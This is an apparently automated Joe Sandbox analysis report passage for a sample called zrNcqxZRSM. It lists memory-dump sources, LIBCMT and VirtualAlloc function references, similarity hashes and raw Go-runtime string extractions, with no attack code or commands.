Associated: 00000000.00000002.3406340165.0000000000DEF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000DF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E37000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406420007.0000000000E3B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406474112.0000000000E42000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406492210.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_zrNcqxZRSM.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 2525a88f381b6b1ecfbfb687c266decb66c4fc36e0a9b82aa819b4781aa7c3de
Instruction ID: 4bc53dc7d6267402c03b16f83db04d5f0703f934df7bbd51f2003b305689c7b5
Opcode Fuzzy Hash: 2525a88f381b6b1ecfbfb687c266decb66c4fc36e0a9b82aa819b4781aa7c3de
Instruction Fuzzy Hash: 57115E32A00B80C1DF25DB5AE8553297370F758FE4F244616CFAD57BA4CB29E692C740

Function 000001A266DD6AE3 Relevance: 1.4, APIs: 1, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 000001A266DD6C0E

Memory Dump Source

Source File: 00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A266DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a266dc0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 887941e60b476c11782dcb97a24cca0b909baaeecef9bac04b9bb155144e0c7f
Instruction ID: cd53019aa9a1ff4f13316edb3a2bb32fb33908f579c3549ff99ba38a5c971424
Opcode Fuzzy Hash: 887941e60b476c11782dcb97a24cca0b909baaeecef9bac04b9bb155144e0c7f
Instruction Fuzzy Hash: 1241DA70218B488FD798EB1CC498B6ABBE1FBA9355F15092DF48DD32A0D774D980CB46

Non-executed Functions

Function 000001A2671DD878 Relevance: 32.5, APIs: 16, Strings: 2, Instructions: 1030COMMON

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 000001A2671DD8D9

Part of subcall function 000001A2671DCD1C: _getptd.LIBCMT ref: 000001A2671DCD32
Part of subcall function 000001A2671DCD1C: __updatetlocinfo.LIBCMT ref: 000001A2671DCD67
Part of subcall function 000001A2671DCD1C: __updatetmbcinfo.LIBCMT ref: 000001A2671DCD8E

_errno.LIBCMT ref: 000001A2671DD8DE

Part of subcall function 000001A2671DC50C: _getptd_noexit.LIBCMT ref: 000001A2671DC510

_fileno.LIBCMT ref: 000001A2671DD90B

Part of subcall function 000001A2671E02F4: _errno.LIBCMT ref: 000001A2671E02FD
Part of subcall function 000001A2671E02F4: _invalid_parameter_noinfo.LIBCMT ref: 000001A2671E0308

write_multi_char.LIBCMT ref: 000001A2671DDF47
write_string.LIBCMT ref: 000001A2671DDF64
write_multi_char.LIBCMT ref: 000001A2671DDF81
write_string.LIBCMT ref: 000001A2671DDFE0
write_multi_char.LIBCMT ref: 000001A2671DE039
free.LIBCMT ref: 000001A2671DE04D
_isleadbyte_l.LIBCMT ref: 000001A2671DE11E
write_char.LIBCMT ref: 000001A2671DE134
write_char.LIBCMT ref: 000001A2671DE155
_errno.LIBCMT ref: 000001A2671DE258
_invalid_parameter_noinfo.LIBCMT ref: 000001A2671DE263

Strings

, xrefs: 000001A2671DDF1B
@, xrefs: 000001A2671DD8F7

Memory Dump Source

Source File: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A2671C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a2671c0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: _errnowrite_multi_char$Locale_invalid_parameter_noinfowrite_charwrite_string$UpdateUpdate::___updatetlocinfo__updatetmbcinfo_fileno_getptd_getptd_noexit_isleadbyte_lfree
String ID: $@
API String ID: 2950348734-1077428164
Opcode ID: cec4729752bddb48435e7a839945901ef574303f482ae6dfe66fa2191d917773
Instruction ID: 8906b815066894059766840b646948660329be06292ae005f128b71eb6e7ec6f
Opcode Fuzzy Hash: cec4729752bddb48435e7a839945901ef574303f482ae6dfe66fa2191d917773
Instruction Fuzzy Hash: AD62D731B1BA454AFB689A1CA4553E9B7D1FB97301F64029FDCCAC31D2F63499068E83

Function 000001A266DDCCBF Relevance: 32.5, APIs: 16, Strings: 2, Instructions: 1030COMMON

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 000001A266DDCD20

Part of subcall function 000001A266DDC163: _getptd.LIBCMT ref: 000001A266DDC179
Part of subcall function 000001A266DDC163: __updatetlocinfo.LIBCMT ref: 000001A266DDC1AE
Part of subcall function 000001A266DDC163: __updatetmbcinfo.LIBCMT ref: 000001A266DDC1D5

_errno.LIBCMT ref: 000001A266DDCD25

Part of subcall function 000001A266DDB953: _getptd_noexit.LIBCMT ref: 000001A266DDB957

_fileno.LIBCMT ref: 000001A266DDCD52

Part of subcall function 000001A266DDF73B: _errno.LIBCMT ref: 000001A266DDF744
Part of subcall function 000001A266DDF73B: _invalid_parameter_noinfo.LIBCMT ref: 000001A266DDF74F

write_multi_char.LIBCMT ref: 000001A266DDD38E
write_string.LIBCMT ref: 000001A266DDD3AB
write_multi_char.LIBCMT ref: 000001A266DDD3C8
write_string.LIBCMT ref: 000001A266DDD427
write_multi_char.LIBCMT ref: 000001A266DDD480
free.LIBCMT ref: 000001A266DDD494
_isleadbyte_l.LIBCMT ref: 000001A266DDD565
write_char.LIBCMT ref: 000001A266DDD57B
write_char.LIBCMT ref: 000001A266DDD59C
_errno.LIBCMT ref: 000001A266DDD69F
_invalid_parameter_noinfo.LIBCMT ref: 000001A266DDD6AA

Strings

, xrefs: 000001A266DDD362
@, xrefs: 000001A266DDCD3E

Memory Dump Source

Source File: 00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A266DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a266dc0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: _errnowrite_multi_char$Locale_invalid_parameter_noinfowrite_charwrite_string$UpdateUpdate::___updatetlocinfo__updatetmbcinfo_fileno_getptd_getptd_noexit_isleadbyte_lfree
String ID: $@
API String ID: 2950348734-1077428164
Opcode ID: cec4729752bddb48435e7a839945901ef574303f482ae6dfe66fa2191d917773
Instruction ID: 5ed5cb0c0b9016fa410d90a36334a77d94f0af363f62c079d7983e54d1f4c88e
Opcode Fuzzy Hash: cec4729752bddb48435e7a839945901ef574303f482ae6dfe66fa2191d917773
Instruction Fuzzy Hash: E7629131A1BA498AFB7CAA5CC8557E9B7D1FB97304F24421DDC8E831D2D635D8428B83

Function 000001A2671DCDC4 Relevance: 30.8, APIs: 16, Strings: 1, Instructions: 1022COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 000001A2671DCE25

Part of subcall function 000001A2671DCD1C: _getptd.LIBCMT ref: 000001A2671DCD32
Part of subcall function 000001A2671DCD1C: __updatetlocinfo.LIBCMT ref: 000001A2671DCD67
Part of subcall function 000001A2671DCD1C: __updatetmbcinfo.LIBCMT ref: 000001A2671DCD8E

_errno.LIBCMT ref: 000001A2671DCE2A

Part of subcall function 000001A2671DC50C: _getptd_noexit.LIBCMT ref: 000001A2671DC510

_fileno.LIBCMT ref: 000001A2671DCE57

Part of subcall function 000001A2671E02F4: _errno.LIBCMT ref: 000001A2671E02FD
Part of subcall function 000001A2671E02F4: _invalid_parameter_noinfo.LIBCMT ref: 000001A2671E0308

write_multi_char.LIBCMT ref: 000001A2671DD487
write_string.LIBCMT ref: 000001A2671DD4A4
write_multi_char.LIBCMT ref: 000001A2671DD4C1
write_string.LIBCMT ref: 000001A2671DD520
write_multi_char.LIBCMT ref: 000001A2671DD579
free.LIBCMT ref: 000001A2671DD58D
_isleadbyte_l.LIBCMT ref: 000001A2671DD65E
write_char.LIBCMT ref: 000001A2671DD674
write_char.LIBCMT ref: 000001A2671DD695
_errno.LIBCMT ref: 000001A2671DD78F
_invalid_parameter_noinfo.LIBCMT ref: 000001A2671DD79A

Strings

, xrefs: 000001A2671DD45B

Memory Dump Source

Source File: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A2671C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a2671c0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: _errnowrite_multi_char$Locale_invalid_parameter_noinfowrite_charwrite_string$UpdateUpdate::___updatetlocinfo__updatetmbcinfo_fileno_getptd_getptd_noexit_isleadbyte_lfree
String ID:
API String ID: 2950348734-3916222277
Opcode ID: c2c85c5e44445deb4fb1b9612df37b63aa2b80b49fd24e435a41ad937e67fa51
Instruction ID: 303880a870aad82b673f4e92e0040bb2a0eb56439c21cf809ab2483cec570d7c
Opcode Fuzzy Hash: c2c85c5e44445deb4fb1b9612df37b63aa2b80b49fd24e435a41ad937e67fa51
Instruction Fuzzy Hash: D962B631A1BA458AE7689A5CA4457E9B7E1FB97304F34429FDCCF831D2F63498428E43

Function 000001A266DDC20B Relevance: 30.8, APIs: 16, Strings: 1, Instructions: 1022COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 000001A266DDC26C

Part of subcall function 000001A266DDC163: _getptd.LIBCMT ref: 000001A266DDC179
Part of subcall function 000001A266DDC163: __updatetlocinfo.LIBCMT ref: 000001A266DDC1AE
Part of subcall function 000001A266DDC163: __updatetmbcinfo.LIBCMT ref: 000001A266DDC1D5

_errno.LIBCMT ref: 000001A266DDC271

Part of subcall function 000001A266DDB953: _getptd_noexit.LIBCMT ref: 000001A266DDB957

_fileno.LIBCMT ref: 000001A266DDC29E

Part of subcall function 000001A266DDF73B: _errno.LIBCMT ref: 000001A266DDF744
Part of subcall function 000001A266DDF73B: _invalid_parameter_noinfo.LIBCMT ref: 000001A266DDF74F

write_multi_char.LIBCMT ref: 000001A266DDC8CE
write_string.LIBCMT ref: 000001A266DDC8EB
write_multi_char.LIBCMT ref: 000001A266DDC908
write_string.LIBCMT ref: 000001A266DDC967
write_multi_char.LIBCMT ref: 000001A266DDC9C0
free.LIBCMT ref: 000001A266DDC9D4
_isleadbyte_l.LIBCMT ref: 000001A266DDCAA5
write_char.LIBCMT ref: 000001A266DDCABB
write_char.LIBCMT ref: 000001A266DDCADC
_errno.LIBCMT ref: 000001A266DDCBD6
_invalid_parameter_noinfo.LIBCMT ref: 000001A266DDCBE1

Strings

, xrefs: 000001A266DDC8A2

Memory Dump Source

Source File: 00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A266DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a266dc0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: _errnowrite_multi_char$Locale_invalid_parameter_noinfowrite_charwrite_string$UpdateUpdate::___updatetlocinfo__updatetmbcinfo_fileno_getptd_getptd_noexit_isleadbyte_lfree
String ID:
API String ID: 2950348734-3916222277
Opcode ID: c2c85c5e44445deb4fb1b9612df37b63aa2b80b49fd24e435a41ad937e67fa51
Instruction ID: 5565973483383dff298568a3162df585e106e2d9ea894fc2501f792736a345a5
Opcode Fuzzy Hash: c2c85c5e44445deb4fb1b9612df37b63aa2b80b49fd24e435a41ad937e67fa51
Instruction Fuzzy Hash: 0C62B131B1BA498AFB7CAA5C88557F9B6D9FB57305F24121DDC8AC31D2DA34D8028783

Function 00C47240 Relevance: 18.2, Strings: 14, Instructions: 716COMMON

Download Yara Rule

Strings

/`+)-LM]1=[<{}_y0x./i), )(: 25LlLtLuMnM [("")) ) @s -> Pn=][}]> +"osnil125625NaNfinptrobjgc %: gp *(in n= ) - P m= MPC= < end > ...]:???pc= GadxaesshaavxfmaMayUTCEET+00+01CATWATEATGMTHSTHDT-03-04-05ESTCSTCDTMSTMDT-02EDTASTADTPSTPDTNSTNDT+06+0, xrefs: 00C47C93
ms cpu, (forced) wbuf1.n= wbuf2.n= s.limit= s.state= B work ( B exp.) marked unmarked in use), size = bad prune, tail = recover: not in [ctxt != 0, oldval=, newval= threads=: status= blocked= lockedg=atomicor8 runtime= m->curg=(unknown)traceback} stack=, xrefs: 00C47D85
., xrefs: 00C4793D
failed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: corrupted polldescruntime: netpollinit failedruntime: asyncPre, xrefs: 00C48049
+)-LM]1=[<{}_y0x./i), )(: 25LlLtLuMnM [("")) ) @s -> Pn=][}]> +"osnil125625NaNfinptrobjgc %: gp *(in n= ) - P m= MPC= < end > ...]:???pc= GadxaesshaavxfmaMayUTCEET+00+01CATWATEATGMTHSTHDT-03-04-05ESTCSTCDTMSTMDT-02EDTASTADTPSTPDTNSTNDT+06+03+, xrefs: 00C47B1D, 00C47CCE
ms clock, nBSSRoots=runtime: P exp.) for minTrigger=GOMEMLIMIT=bad m value, elemsize= freeindex= span.list=, npages = p->status= in status idleprocs= gcwaiting= schedtick= timerslen= mallocing=bad timedivfloat64nan1float64nan2float64nan3float32nan2GOTRACE, xrefs: 00C47B4D
gc done but gcphase != _GCoffruntime: p.gcMarkWorkerMode= scanobject of a noscan objectruntime: marking free object addspecial on invalid pointerruntime: summary max pages = runtime: levelShift[level] = doRecordGoroutineProfile gp1=NtCreateWaitCompletionPacket, xrefs: 00C4805A
MB globals, work.nproc= work.nwait= nStackRoots= flushedWork double unlock s.spanclass= MB) workers=min too large-byte block (runtime: val=runtime: seq=fatal error: idlethreads= syscalltick=load64 failedxadd64 failedxchg64 failednil stackbase}sched={pc:, xrefs: 00C47E45
gcing MB, got= ... max=scav ptr ] = (usageinit ms, fault and tab= top=[...], fp:sse41sse42ssse3MarchApril+0530+0430+0545+0630+0330+0845+1030+1245+1345-0930Localint16int32int64uint8arrayslicefileskeyHexStringFormat[]bytestringGetAceGetACPlistensendtosocket, xrefs: 00C47312
non-concurrent sweep failed to drain all sweep queuesruntime: NtCancelWaitCompletionPacket failed; errno= exited a goroutine internally locked to the OS threadcompileCallback: argument size is larger than uintptrmin size of malloc header is not a size class bo, xrefs: 00C48038
gc %: gp *(in n= ) - P m= MPC= < end > ...]:???pc= GadxaesshaavxfmaMayUTCEET+00+01CATWATEATGMTHSTHDT-03-04-05ESTCSTCDTMSTMDT-02EDTASTADTPSTPDTNSTNDT+06+03+04+07IST+09+08IDT+12PKT+11KST+05JST+10-01-11-12-08-09+13CETBSTMSK-06+14StdDltintmapcgodnstcpudp\\, xrefs: 00C479BA
, xrefs: 00C4782B
MB goal, s.state = s.base()= heapGoal=GOMEMLIMIT KiB now, pages at sweepgen= sweepgen , bound = , limit = exitThreadBad varintGC forced runqueue= stopwait= runqsize= gfreecnt= throwing= spinning=atomicand8float64nanfloat32nanException ptrSize= targetpc=, xrefs: 00C47E05
@s -> Pn=][}]> +"osnil125625NaNfinptrobjgc %: gp *(in n= ) - P m= MPC= < end > ...]:???pc= GadxaesshaavxfmaMayUTCEET+00+01CATWATEATGMTHSTHDT-03-04-05ESTCSTCDTMSTMDT-02EDTASTADTPSTPDTNSTNDT+06+03+04+07IST+09+08IDT+12PKT+11KST+05JST+10-01-11-12-, xrefs: 00C479D8

Memory Dump Source

Source File: 00000000.00000002.3405945385.0000000000C31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.3405906988.0000000000C30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406078049.0000000000CED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406245662.0000000000DDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406302269.0000000000DDD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406321774.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406340165.0000000000DEF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000DF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E37000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406420007.0000000000E3B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406474112.0000000000E42000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406492210.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_zrNcqxZRSM.jbxd

Similarity

API ID:
String ID: $ @s -> Pn=][}]> +"osnil125625NaNfinptrobjgc %: gp *(in n= ) - P m= MPC= < end > ...]:???pc= GadxaesshaavxfmaMayUTCEET+00+01CATWATEATGMTHSTHDT-03-04-05ESTCSTCDTMSTMDT-02EDTASTADTPSTPDTNSTNDT+06+03+04+07IST+09+08IDT+12PKT+11KST+05JST+10-01-11-12-$ MB globals, work.nproc= work.nwait= nStackRoots= flushedWork double unlock s.spanclass= MB) workers=min too large-byte block (runtime: val=runtime: seq=fatal error: idlethreads= syscalltick=load64 failedxadd64 failedxchg64 failednil stackbase}sched={pc:$ MB goal, s.state = s.base()= heapGoal=GOMEMLIMIT KiB now, pages at sweepgen= sweepgen , bound = , limit = exitThreadBad varintGC forced runqueue= stopwait= runqsize= gfreecnt= throwing= spinning=atomicand8float64nanfloat32nanException ptrSize= targetpc=$ ms clock, nBSSRoots=runtime: P exp.) for minTrigger=GOMEMLIMIT=bad m value, elemsize= freeindex= span.list=, npages = p->status= in status idleprocs= gcwaiting= schedtick= timerslen= mallocing=bad timedivfloat64nan1float64nan2float64nan3float32nan2GOTRACE$ ms cpu, (forced) wbuf1.n= wbuf2.n= s.limit= s.state= B work ( B exp.) marked unmarked in use), size = bad prune, tail = recover: not in [ctxt != 0, oldval=, newval= threads=: status= blocked= lockedg=atomicor8 runtime= m->curg=(unknown)traceback} stack=$+)-LM]1=[<{}_y0x./i), )(: 25LlLtLuMnM [("")) ) @s -> Pn=][}]> +"osnil125625NaNfinptrobjgc %: gp *(in n= ) - P m= MPC= < end > ...]:???pc= GadxaesshaavxfmaMayUTCEET+00+01CATWATEATGMTHSTHDT-03-04-05ESTCSTCDTMSTMDT-02EDTASTADTPSTPDTNSTNDT+06+03+$.$/`+)-LM]1=[<{}_y0x./i), )(: 25LlLtLuMnM [("")) ) @s -> Pn=][}]> +"osnil125625NaNfinptrobjgc %: gp *(in n= ) - P m= MPC= < end > ...]:???pc= GadxaesshaavxfmaMayUTCEET+00+01CATWATEATGMTHSTHDT-03-04-05ESTCSTCDTMSTMDT-02EDTASTADTPSTPDTNSTNDT+06+0$failed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: corrupted polldescruntime: netpollinit failedruntime: asyncPre$gc %: gp *(in n= ) - P m= MPC= < end > ...]:???pc= GadxaesshaavxfmaMayUTCEET+00+01CATWATEATGMTHSTHDT-03-04-05ESTCSTCDTMSTMDT-02EDTASTADTPSTPDTNSTNDT+06+03+04+07IST+09+08IDT+12PKT+11KST+05JST+10-01-11-12-08-09+13CETBSTMSK-06+14StdDltintmapcgodnstcpudp\\$gc done but gcphase != _GCoffruntime: p.gcMarkWorkerMode= scanobject of a noscan objectruntime: marking free object addspecial on invalid pointerruntime: summary max pages = runtime: levelShift[level] = doRecordGoroutineProfile gp1=NtCreateWaitCompletionPacket$gcing MB, got= ... max=scav ptr ] = (usageinit ms, fault and tab= top=[...], fp:sse41sse42ssse3MarchApril+0530+0430+0545+0630+0330+0845+1030+1245+1345-0930Localint16int32int64uint8arrayslicefileskeyHexStringFormat[]bytestringGetAceGetACPlistensendtosocket$non-concurrent sweep failed to drain all sweep queuesruntime: NtCancelWaitCompletionPacket failed; errno= exited a goroutine internally locked to the OS threadcompileCallback: argument size is larger than uintptrmin size of malloc header is not a size class bo
API String ID: 0-4114073250
Opcode ID: 6a67d7e323c54b1c8dc2ebcb34bcfb0da0d29e3ed32a3039c4eb116f23769390
Instruction ID: 903ce2bf9f20e48e6e544adcb67f4a139657a93ca6e50db7300be4d4669dc459
Opcode Fuzzy Hash: 6a67d7e323c54b1c8dc2ebcb34bcfb0da0d29e3ed32a3039c4eb116f23769390
Instruction Fuzzy Hash: 3E72AB32208BC585EB20DB25F8853AEB764F789B80F448626DA8D53B6ADF3CC585D750

Function 00C58AC0 Relevance: 16.8, Strings: 13, Instructions: 543COMMON

Download Yara Rule

Strings

, j0 = head = panic: nmsys= locks= dying= allocsGODEBUG m->g0= pad1= pad2= text= minpc= value= (scan)types : type avx512fTuesdayJanuaryOctoberMUI_StdMUI_DltinvaliduintptrChanDir Value>\\.\UNCos/execruntimetls3desGoStringEqualSidCancelIoReadFileSetEventAcc, xrefs: 00C592DA
runtime: npages = invalid skip valueruntime: range = {index out of rangeruntime: gp: gp=runtime: getg: g=forEachP: not done in async preemptbad manualFreeListruntime: textAddr frames elided..., locked to threadruntime.semacreateruntime.semawakeupCuba Sta, xrefs: 00C58E65
bad summary dataruntime: addr = runtime: base = runtime: head = timeBeginPeriod, xrefs: 00C58E8F, 00C595EC
, npages = p->status= in status idleprocs= gcwaiting= schedtick= timerslen= mallocing=bad timedivfloat64nan1float64nan2float64nan3float32nan2GOTRACEBACK) at entry+ (targetpc= , plugin: runtime: g : frame.sp=created by bad argSizemethodargs(i/o timeoutProcess, xrefs: 00C592BC
, )(: 25LlLtLuMnM [("")) ) @s -> Pn=][}]> +"osnil125625NaNfinptrobjgc %: gp *(in n= ) - P m= MPC= < end > ...]:???pc= GadxaesshaavxfmaMayUTCEET+00+01CATWATEATGMTHSTHDT-03-04-05ESTCSTCDTMSTMDT-02EDTASTADTPSTPDTNSTNDT+06+03+04+07IST+09+08IDT+12, xrefs: 00C58E05, 00C58E25, 00C5924F, 00C5926F
][}]> +"osnil125625NaNfinptrobjgc %: gp *(in n= ) - P m= MPC= < end > ...]:???pc= GadxaesshaavxfmaMayUTCEET+00+01CATWATEATGMTHSTHDT-03-04-05ESTCSTCDTMSTMDT-02EDTASTADTPSTPDTNSTNDT+06+03+04+07IST+09+08IDT+12PKT+11KST+05JST+10-01-11-12-08-09+13CE, xrefs: 00C58DC8, 00C59219
, levelBits[level] = runtime: searchIdx = defer on system stackpanic on system stackasync stack too largestartm: m is spinningstartlockedm: m has pfindrunnable: wrong ppreempt at unknown pcreleasep: invalid argcheckdead: runnable gruntime: newstack at runtime:, xrefs: 00C593C5
runtime: p.searchAddr = range partially overlapsstack trace unavailablebindm in unexpected GOOSruntime: mp.lockedInt = runqsteal: runq overflowdouble traceGCSweepStartbad use of trace.seqlockSA Pacific Standard TimeSA Eastern Standard TimeUS Eastern Standard , xrefs: 00C59325
] = (usageinit ms, fault and tab= top=[...], fp:sse41sse42ssse3MarchApril+0530+0430+0545+0630+0330+0845+1030+1245+1345-0930Localint16int32int64uint8arrayslicefileskeyHexStringFormat[]bytestringGetAceGetACPlistensendtosocket390625Commonsysmontimersefenceselec, xrefs: 00C58DE6
, i = code= addr= m->p= p->m=SCHED curg= ctxt: min= max= bad ts(...) m=nil base rdtscppopcntSundayMondayFridayAugustUTC-11UTC-02UTC-08UTC-09UTC+12UTC+13uint16uint32uint64structchan<-<-chan Valuenetdnscmd/goheaderAnswerDefaultfloat32float64CopySidFreeSidSle, xrefs: 00C59345
] = pc=: p=cas1cas2cas3cas4cas5cas6 at m= sp= sp: lr: fp= gp= mp=) m=ermssse3avx2bmi1bmi2JuneJulyEESTSASTAKSTAKDTACSTACDTAESTAEDTAWSTCESTNZSTNZDTboolint8uintchanfunccallkind on icmpigmptimeC:\PyC:\pyGetDCfalse<nil>ErrorntohsCall 1562578125Greekclosedeferswe, xrefs: 00C59234
runtime: summary[runtime: level = , p.searchAddr = RtlGetCurrentPeb, xrefs: 00C58DAD, 00C591F2
runtime: levelShift[level] = doRecordGoroutineProfile gp1=NtCreateWaitCompletionPacket, xrefs: 00C593A5

Memory Dump Source

Source File: 00000000.00000002.3405945385.0000000000C31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.3405906988.0000000000C30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406078049.0000000000CED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406245662.0000000000DDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406302269.0000000000DDD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406321774.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406340165.0000000000DEF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000DF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E37000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406420007.0000000000E3B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406474112.0000000000E42000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406492210.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_zrNcqxZRSM.jbxd

Similarity

API ID:
String ID: , )(: 25LlLtLuMnM [("")) ) @s -> Pn=][}]> +"osnil125625NaNfinptrobjgc %: gp *(in n= ) - P m= MPC= < end > ...]:???pc= GadxaesshaavxfmaMayUTCEET+00+01CATWATEATGMTHSTHDT-03-04-05ESTCSTCDTMSTMDT-02EDTASTADTPSTPDTNSTNDT+06+03+04+07IST+09+08IDT+12$, i = code= addr= m->p= p->m=SCHED curg= ctxt: min= max= bad ts(...) m=nil base rdtscppopcntSundayMondayFridayAugustUTC-11UTC-02UTC-08UTC-09UTC+12UTC+13uint16uint32uint64structchan<-<-chan Valuenetdnscmd/goheaderAnswerDefaultfloat32float64CopySidFreeSidSle$, j0 = head = panic: nmsys= locks= dying= allocsGODEBUG m->g0= pad1= pad2= text= minpc= value= (scan)types : type avx512fTuesdayJanuaryOctoberMUI_StdMUI_DltinvaliduintptrChanDir Value>\\.\UNCos/execruntimetls3desGoStringEqualSidCancelIoReadFileSetEventAcc$, levelBits[level] = runtime: searchIdx = defer on system stackpanic on system stackasync stack too largestartm: m is spinningstartlockedm: m has pfindrunnable: wrong ppreempt at unknown pcreleasep: invalid argcheckdead: runnable gruntime: newstack at runtime:$, npages = p->status= in status idleprocs= gcwaiting= schedtick= timerslen= mallocing=bad timedivfloat64nan1float64nan2float64nan3float32nan2GOTRACEBACK) at entry+ (targetpc= , plugin: runtime: g : frame.sp=created by bad argSizemethodargs(i/o timeoutProcess$] = pc=: p=cas1cas2cas3cas4cas5cas6 at m= sp= sp: lr: fp= gp= mp=) m=ermssse3avx2bmi1bmi2JuneJulyEESTSASTAKSTAKDTACSTACDTAESTAEDTAWSTCESTNZSTNZDTboolint8uintchanfunccallkind on icmpigmptimeC:\PyC:\pyGetDCfalse<nil>ErrorntohsCall 1562578125Greekclosedeferswe$] = (usageinit ms, fault and tab= top=[...], fp:sse41sse42ssse3MarchApril+0530+0430+0545+0630+0330+0845+1030+1245+1345-0930Localint16int32int64uint8arrayslicefileskeyHexStringFormat[]bytestringGetAceGetACPlistensendtosocket390625Commonsysmontimersefenceselec$][}]> +"osnil125625NaNfinptrobjgc %: gp *(in n= ) - P m= MPC= < end > ...]:???pc= GadxaesshaavxfmaMayUTCEET+00+01CATWATEATGMTHSTHDT-03-04-05ESTCSTCDTMSTMDT-02EDTASTADTPSTPDTNSTNDT+06+03+04+07IST+09+08IDT+12PKT+11KST+05JST+10-01-11-12-08-09+13CE$bad summary dataruntime: addr = runtime: base = runtime: head = timeBeginPeriod$runtime: levelShift[level] = doRecordGoroutineProfile gp1=NtCreateWaitCompletionPacket$runtime: npages = invalid skip valueruntime: range = {index out of rangeruntime: gp: gp=runtime: getg: g=forEachP: not done in async preemptbad manualFreeListruntime: textAddr frames elided..., locked to threadruntime.semacreateruntime.semawakeupCuba Sta$runtime: p.searchAddr = range partially overlapsstack trace unavailablebindm in unexpected GOOSruntime: mp.lockedInt = runqsteal: runq overflowdouble traceGCSweepStartbad use of trace.seqlockSA Pacific Standard TimeSA Eastern Standard TimeUS Eastern Standard $runtime: summary[runtime: level = , p.searchAddr = 